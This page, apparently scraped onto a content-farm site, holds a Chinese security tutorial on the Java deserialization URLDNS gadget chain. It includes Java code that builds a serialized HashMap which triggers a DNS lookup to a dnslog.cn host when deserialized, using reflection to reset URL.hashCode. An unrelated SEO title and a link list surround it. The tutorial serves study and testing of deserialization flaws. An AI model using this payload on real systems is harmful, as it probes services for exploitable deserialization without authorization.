当前位置: 首页 > news >正文

黑色系 网站百度seo快速排名

黑色系 网站,百度seo快速排名,做的网站在百度搜索不到,软件开发案例展示文章目录 URLDNS链调用链分析Payload编写 系列篇其他文章#xff0c;推荐顺序观看~ Java反序列化利用链篇 | JdbcRowSetImpl利用链分析Java反序列化利用链篇 | CC1链_全网最菜的分析思路Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链Java反序列化利用链篇 | URLD… 文章目录 URLDNS链调用链分析Payload编写 系列篇其他文章推荐顺序观看~ Java反序列化利用链篇 | JdbcRowSetImpl利用链分析Java反序列化利用链篇 | CC1链_全网最菜的分析思路Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链Java反序列化利用链篇 | URLDNS链Java反序列化利用链篇 | CC6链分析通用版CC链 URLDNS链 URLDNS链是java通过反序列化发起dns请求的利用链。一般用于测试反序列化漏洞。 该链比较简单利用链也比较短。 其中入口类为 HashMap执行类为URLStreamHandler的hashCode()方法。 整个调用链如下 HashMap.readObject() HashMap.putVal() HashMap.hash()URL.hashCode()URLStreamHandler.hashCode()URLStreamHandler.getHostAddress() 调用链分析 HashMapde readObject()方法会调用putVal()方法因而调用hash()方法传递的参数为key这个key为hashMap对象的存在的键。 之后会调用key.hashCode()即keyObject不同调用的hashCode()不同。 而URL类中也存在hashCode方法如果传入的key为URL对象则会调用URL对象的hashCode() 如果调用了URL对象的hashCode则会调用handler.hashCode(this) 其中handler为URLStreamHandler 因此最终会调用URLStreamHandler对象的hashCode()。 在URLStreamHandler对象的hashCode()中会调用getHostAddress(u)进而发起DNS请求。 总结一下就是 如果一个序列化的hashMap对象中存在一个URL对象则在进行反序列hashMap对象的时候就会触发URL对象的hashCode()方法进而触发DNS请求。 Payload编写 基本代码如下 URL url new URL(http://9bfi43.dnslog.cn);HashMap hashMap new HashMap();hashMap.put(url,1);SerAndUnser.serialize(hashMap);通过hashMap对象put进一个URL对象。 根据调用链则在反序列化时会调用hashMap的readObject方法其中url对象为key然后调用到url.hashCode()⇒URLStreamHandler.hashCode(url)最终触发到请求DNS的代码。 看似完美但是运行时会发现序列化hashMap对象时就已经触发了请求DNS代码。 为什么呢 通过分析发现hashMap的put方法也会调用hash(url)⇒url.hashCode()也就是说在执行hashMap.put(url,1)时就会触发最终代码。 怎么办呢 这里有两个思路 hashMap在put的时候不将url放入hashMap这样就不会触发url的hashCode。然后通过别的方式将url放入hashMap。将url对象put进入hashMap然后想办法不让url对象触发hashCode()或者是不触发URLStreamHandler.hashCode()。 显然第一个思路实现不了没有别的方式在hashMap对象中放入key。 那么就看一下第二个思路 在put时不触发url的hashCode方法这个显然也不行只要put执行hash()会执行hashCode()必然执行除非key为空但是不现实。 那我们能不能阻止URLStreamHandler.hashCode()的执行呢看下url对象的hashCode方法 发现这里先是做了一个判断如果hashCode为-1则不会再执行到hashCode()了这不正是我们想要的嘛。只需要将hashCode设置为-1。 但怎么设置呢 首先hashCode默认为-1 通过搜索也没有位置可以修改hashCode的值那我们只能通过hashMap对象本身来修改了但是hashCode又是private修饰直接修改不了。 所以接下来需要使用反射处理修改的代码如下 URL url new URL(http://9bfi43.dnslog.cn);HashMap hashMap new HashMap();// 将url对象中的hashCode修改为不是-1Class urlClass url.getClass(); // 注意是url对象不是hashMap对象Field hashCodeField urlClass.getDeclaredField(hashCode);hashCodeField.setAccessible(true);hashCodeField.set(url,1234); // 将url对象中的hashCode修改为不是-1即可hashMap.put(url,1);// SerAndUnser.serialize(hashMap);SerAndUnser.unserialize(ser.bin);以上代码序列化时没有触发最终代码了但是在反序列化时也不触发了~ 原因其实很简单反序列化之前hashMap对象存在URL对对象但是URL对象的hashCode不是-1因此反序列化时执行不到handler.hashCode()因此执行不到最终的代码。 解决方式是在hashMap的put之后再把url对象的hashCode值修改为-1即可。 最终代码如下 URL url new URL(http://9bfi43.dnslog.cn);HashMap hashMap new HashMap();// 将url对象中的hashCode修改为不是-1Class urlClass url.getClass(); // 注意是url对象不是hashMap对象Field hashCodeField urlClass.getDeclaredField(hashCode);hashCodeField.setAccessible(true);hashCodeField.set(url,1234); // 将url对象中的hashCode修改为不是-1即可hashMap.put(url,1);// put之后再将hashCode的值修改回-1hashCodeField.set(url,-1);// SerAndUnser.serialize(hashMap);SerAndUnser.unserialize(ser.bin);执行反序列化会成功触发最终的DNS请求。
http://www.w-s-a.com/news/315303/

相关文章:

  • 网站制作平台公司嵌入式软件开发环境
  • 网站服务器镜像微商做网站网站
  • 十大旅游电子商务网站网上定做衣服
  • 怎样进行网站备案上海发布公众号app
  • 网站后台模板论坛网站优化招商
  • 个人网站设计作品能用VUE做网站
  • 网站建设预付阿里云域名备案查询
  • 苏州本地网站免费咨询医生的软件
  • 个人网站做废品回收福建网站开发招聘
  • wordpress网站备案学设计常用的网站
  • 网站建设的频道是什么网站用什么开发软件做
  • 电子商务网站建设与规划总结外链查询网站
  • 西安网站品牌建设做网站需要的东西
  • 网站外围网站怎么做移动端网站开发项目
  • 做网站只做前端可以用吗知更鸟免费 wordpress
  • html5 微信网站主流开发技术标准网站搭建费用
  • 加强统计局网站的建设和管理广州微信网站建设价格
  • 华宁网站建设设计公司 网站
  • 简历网站免费怎么查在哪个网站做的备案
  • 响应式网站 价格网站用哪些系统做的比较好用
  • 高端网站案例360做的网站
  • 瑞安地区建设网站公众号开发者工具是干嘛的
  • 请解释网站开发的主要流程.wordpress主体上传
  • 网站方案组成要素饰品公司网站建设方案
  • 网站改版被降权赣州景文网络科技有限公司
  • 吉林省网站建设推广图片模版
  • 如何做网站热力图佛山 网站关键词优化
  • 个人网站建设论文中期报告申报网站建设理由 模板
  • 岫岩做网站软件开发和app开发的区别
  • 邯郸质量一站式服务平台上线如何做国外销售网站